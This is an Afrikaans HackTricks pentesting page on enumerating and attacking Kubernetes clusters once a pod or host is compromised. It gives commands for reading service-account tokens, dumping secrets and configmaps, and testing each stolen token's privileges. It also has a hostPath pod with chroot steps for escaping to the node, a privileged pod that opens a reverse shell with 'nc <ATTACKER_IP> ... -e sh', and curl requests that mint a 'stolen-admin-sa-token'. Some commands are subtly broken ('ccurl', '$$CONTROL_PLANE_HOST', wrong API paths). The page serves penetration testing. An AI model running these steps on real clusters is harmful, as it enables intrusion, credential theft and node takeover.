Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md

25 KiB
Raw Blame History

Kubernetes Enumerasie

{{#include ../../banners/hacktricks-training.md}}

Kubernetes Tokens

As jy gecompromitteerde toegang tot 'n masjien het, mag die gebruiker toegang hê tot 'n paar Kubernetes platforms. Die token is gewoonlik geleë in 'n lêer wat deur die env var KUBECONFIG of binne ~/.kube gewys word.

In hierdie gids kan jy konfigurasielêers met tokens en konfigurasies om met die API-bediener te verbind vind. In hierdie gids kan jy ook 'n kasgids vind met inligting wat voorheen verkry is.

As jy 'n pod binne 'n kubernetes omgewing gecompromitteer het, is daar ander plekke waar jy tokens en inligting oor die huidige K8 omgewing kan vind:

Diensrekening Tokens

Voordat jy voortgaan, as jy nie weet wat 'n diens in Kubernetes is nie, sou ek jou aanbeveel om hierdie skakel te volg en ten minste die inligting oor Kubernetes argitektuur te lees.

Geneem uit die Kubernetes dokumentasie:

“Wanneer jy 'n pod skep, as jy nie 'n diensrekening spesifiseer nie, word dit outomaties aan die standaard diensrekening in dieselfde naamruimte toegeken.”

ServiceAccount is 'n objek wat deur Kubernetes bestuur word en gebruik word om 'n identiteit te verskaf vir prosesse wat in 'n pod loop.
Elke diensrekening het 'n geheim wat daarmee verband hou en hierdie geheim bevat 'n draer token. Dit is 'n JSON Web Token (JWT), 'n metode om aansprake veilig tussen twee partye voor te stel.

Gewoonlik bevat een van die gidsen:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

die lêers:

  • ca.crt: Dit is die ca sertifikaat om kubernetes kommunikasie te kontroleer
  • namespace: Dit dui die huidige naamruimte aan
  • token: Dit bevat die diens token van die huidige pod.

Nou dat jy die token het, kan jy die API-bediener binne die omgewingsvariabele KUBECONFIG vind. Vir meer inligting, voer (env | set) | grep -i "kuber|kube" uit.

Die diensrekening token word onderteken deur die sleutel wat in die lêer sa.key geleë is en geverifieer deur sa.pub.

Standaard ligging op Kubernetes:

  • /etc/kubernetes/pki

Standaard ligging op Minikube:

  • /var/lib/localkube/certs

Warm Pods

Warm pods is pods wat 'n bevoorregte diensrekening token bevat. 'n Bevoorregte diensrekening token is 'n token wat toestemming het om bevoorregte take uit te voer soos om geheime te lys, pods te skep, ens.

RBAC

As jy nie weet wat RBAC is nie, lees hierdie afdeling.

GUI Toepassings

  • k9s: 'n GUI wat 'n kubernetes kluster vanaf die terminale opnoem. Kyk na die opdragte in https://k9scli.io/topics/commands/. Skryf :namespace en kies alles om dan hulpbronne in al die naamruimtes te soek.
  • k8slens: Dit bied 'n paar gratis proefdae aan: https://k8slens.dev/

Enumerasie CheatSheet

Om 'n K8s omgewing te enumerate, het jy 'n paar van hierdie nodig:

  • 'n geldige autentikasie token. In die vorige afdeling het ons gesien waar om 'n gebruikers token en 'n diensrekening token te soek.
  • Die adres (https://host:port) van die Kubernetes API. Dit kan gewoonlik in die omgewingsvariabeles en/of in die kube konfigurasielêer gevind word.
  • Opsioneel: Die ca.crt om die API-bediener te verifieer. Dit kan gevind word in dieselfde plekke waar die token gevind kan word. Dit is nuttig om die API-bediener sertifikaat te verifieer, maar deur --insecure-skip-tls-verify met kubectl of -k met curl te gebruik, sal jy dit nie nodig hê nie.

Met daardie besonderhede kan jy kubernetes enumerate. As die API om een of ander rede toeganklik is deur die Internet, kan jy net daardie inligting aflaai en die platform vanaf jou gasheer opnoem.

Echter, gewoonlik is die API-bediener binne 'n interne netwerk, daarom sal jy moet 'n tonnel skep deur die gecompromitteerde masjien om toegang te verkry vanaf jou masjien, of jy kan die kubectl binêre oplaai, of curl/wget/anything gebruik om rou HTTP versoeke aan die API-bediener te doen.

Verskille tussen list en get werkwoorde

Met get toestemmings kan jy inligting van spesifieke bates (describe opsie in kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

As jy die list toestemming het, mag jy API versoeke uitvoer om 'n tipe bates op te lys (get opsie in kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

As jy die watch toestemming het, mag jy API versoeke uitvoer om bates te monitor:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Hulle open 'n stroomverbinding wat jou die volle manifest van 'n Deployment teruggee wanneer dit verander (of wanneer 'n nuwe een geskep word).

Caution

Die volgende kubectl opdragte dui net aan hoe om die voorwerpe te lys. As jy toegang tot die data wil hê, moet jy describe in plaas van get gebruik.

Gebruik van curl

Van binne 'n pod kan jy verskeie omgewing veranderlikes gebruik:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Warning

Standaard kan die pod toegang verkry tot die kube-api server in die domeinnaam kubernetes.default.svc en jy kan die kube netwerk in /etc/resolv.config sien, aangesien jy hier die adres van die kubernetes DNS-server sal vind (die ".1" van dieselfde reeks is die kube-api eindpunt).

Gebruik kubectl

Met die token en die adres van die API-server gebruik jy kubectl of curl om toegang te verkry soos hier aangedui:

Standaard kommunikeer die APISERVER met https:// skema

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

as daar geen https:// in die URL is nie, kan jy 'n fout soos 'Bad Request' kry.

Jy kan 'n amptelike kubectl cheatsheet hier vind. Die doel van die volgende afdelings is om verskillende opsies om te enumerate en die nuwe K8s wat jy toegang tot verkry het, te verstaan, in 'n geordende manier voor te stel.

Om die HTTP-versoek wat kubectl stuur te vind, kan jy die parameter -v=8 gebruik.

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Huidige Konfigurasie

{{#tabs }} {{#tab name="Kubectl" }}

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

{{#endtab }} {{#endtabs }}

As jy daarin geslaag het om 'n paar gebruikers se akrediteerbesonderhede te steel, kan jy hulle plaaslik konfigureer met iets soos:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Kry Ondersteunde Hulpbronne

Met hierdie inligting sal jy al die dienste weet wat jy kan lys

{{#tabs }} {{#tab name="kubectl" }}

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

{{#endtab }} {{#endtabs }}

Kry Huidige Privileges

{{#tabs }} {{#tab name="kubectl" }}

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

{{#endtab }}

{{#tab name="API" }}

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

{{#endtab }} {{#endtabs }}

'n Ander manier om jou bevoegdhede te kontroleer, is deur die hulpmiddel: https://github.com/corneliusweig/rakkess****

Jy kan meer leer oor Kubernetes RBAC in:

{{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}}

Sodra jy weet watter bevoegdhede jy het, kyk na die volgende bladsy om uit te vind of jy dit kan misbruik om bevoegdhede te verhoog:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}

Kry Ander rolle

{{#tabs }} {{#tab name="kubectl" }}

k get roles
k get clusterroles

{{#endtab }}

{{#tab name="API" }}

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

{{#endtab }} {{#endtabs }}

Kry namespaces

Kubernetes ondersteun meervoudige virtuele klusters wat deur dieselfde fisiese kluster ondersteun word. Hierdie virtuele klusters word namespaces genoem.

{{#tabs }} {{#tab name="kubectl" }}

k get namespaces

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/

{{#endtab }} {{#endtabs }}

Kry geheime

{{#tabs }} {{#tab name="kubectl" }}

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

{{#endtab }} {{#endtabs }}

As jy geheime kan lees, kan jy die volgende lyne gebruik om die regte wat aan elke token gekoppel is, te verkry:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Verkrydiensrekening

Soos bespreek aan die begin van hierdie bladsy wanneer 'n pod uitgevoer word, word 'n diensrekening gewoonlik aan dit toegeken. Daarom kan die lys van die diensrekeninge, hul toestemmings en waar hulle loop, 'n gebruiker in staat stel om voorregte te verhoog.

{{#tabs }} {{#tab name="kubectl" }}

k get serviceaccounts

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

{{#endtab }} {{#endtabs }}

Kry Ontplooiings

Die ontplooiings spesifiseer die komponente wat nodig is om te loop.

{{#tabs }} {{#tab name="kubectl" }}

k get deployments
k get deployments -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

{{#endtab }} {{#endtabs }}

Kry Pods

Die Pods is die werklike houers wat sal loop.

{{#tabs }} {{#tab name="kubectl" }}

k get pods
k get pods -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

{{#endtab }} {{#endtabs }}

Kry Dienste

Kubernetes dienste word gebruik om 'n diens op 'n spesifieke poort en IP bloot te stel (wat as 'n laaibalans vir die pods wat werklik die diens bied, sal optree). Dit is interessant om te weet waar jy ander dienste kan vind om te probeer aanval.

{{#tabs }} {{#tab name="kubectl" }}

k get services
k get services -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/default/services/

{{#endtab }} {{#endtabs }}

Kry knope

Kry al die knope wat binne die kluster geconfigureer is.

{{#tabs }} {{#tab name="kubectl" }}

k get nodes

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/nodes/

{{#endtab }} {{#endtabs }}

Verkry DaemonSets

DaeamonSets maak dit moontlik om te verseker dat 'n spesifieke pod in al die nodes van die kluster (of in die geselekteerde) loop. As jy die DaemonSet verwyder, sal die pods wat deur dit bestuur word ook verwyder word.

{{#tabs }} {{#tab name="kubectl" }}

k get daemonsets

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

{{#endtab }} {{#endtabs }}

Kry cronjob

Cron jobs laat jou toe om die bekendstelling van 'n pod wat 'n aksie sal uitvoer, te skeduleer met behulp van crontab soos sintaksis.

{{#tabs }} {{#tab name="kubectl" }}

k get cronjobs

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

{{#endtab }} {{#endtabs }}

Kry configMap

configMap bevat altyd 'n baie inligting en konfigurasie lêer wat aan toepassings verskaf word wat in die kubernetes loop. Gewoonlik kan jy 'n baie wagwoorde, geheime, tokens vind wat gebruik word om te verbind en te valideer met ander interne/eksterne dienste.

{{#tabs }} {{#tab name="kubectl" }}

k get configmaps # -n namespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

{{#endtab }} {{#endtabs }}

Kry Netwerkbeleide / Cilium Netwerkbeleide

{{#tabs }} {{#tab name="Eerste Tab" }}

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

{{#endtab }} {{#endtabs }}

Kry Alles / Al

{{#tabs }} {{#tab name="kubectl" }}

k get all

{{#endtab }} {{#endtabs }}

Kry alle hulpbronne bestuur deur helm

{{#tabs }} {{#tab name="kubectl" }}

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

{{#endtab }} {{#endtabs }}

Kry Pods verbruik

{{#tabs }} {{#tab name="kubectl" }}

k top pod --all-namespaces

{{#endtab }} {{#endtabs }}

Interaksie met die kluster sonder om kubectl te gebruik

Aangesien die Kubernetes-beheervlak 'n REST-volle API blootstel, kan jy handgemaakte HTTP-versoeke saamstel en dit met ander gereedskap soos curl of wget stuur.

Ontsnapping uit die pod

As jy in staat is om nuwe pods te skep, mag jy in staat wees om uit hulle te ontsnap na die node. Om dit te doen, moet jy 'n nuwe pod skep met 'n yaml-lêer, oor te skakel na die geskepte pod en dan chroot in die node se stelsel. Jy kan reeds bestaande pods as verwysing vir die yaml-lêer gebruik, aangesien hulle bestaande beelde en paaie vertoon.

kubectl get pod <name> [-n <namespace>] -o yaml

as jy 'n pod op die spesifieke node moet skep, kan jy die volgende opdrag gebruik om etikette op die node te kry

k get nodes --show-labels

Gewoonlik is kubernetes.io/hostname en node-role.kubernetes.io/master albei goeie etikette om te kies.

Dan skep jy jou attack.yaml-lêer

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

Na dit skep jy die pod

kubectl apply -f attacker.yaml [-n <namespace>]

Nou kan jy na die geskepte pod oorgaan soos volg

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

En uiteindelik chroot jy in die node se stelsel in

chroot /root /bin/bash

Inligting verkry uit: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube Episode 1

Skep 'n bevoorregte pod

Die ooreenstemmende yaml-lêer is soos volg:

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

Skep die pod met curl:

CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Verwyder 'n pod

Verwyder 'n pod met curl:

CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

Skep 'n Diensrekening

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Verwyder 'n Diensrekening

CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

Skep 'n Rol

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Verwyder 'n Rol

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

Skep 'n Rol Bindings

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Verwyder 'n Rolbinding

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

Verwyder 'n Geheim

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Verwyder 'n Geheim

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

Verwysings

{{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}}

{{#include ../../banners/hacktricks-training.md}}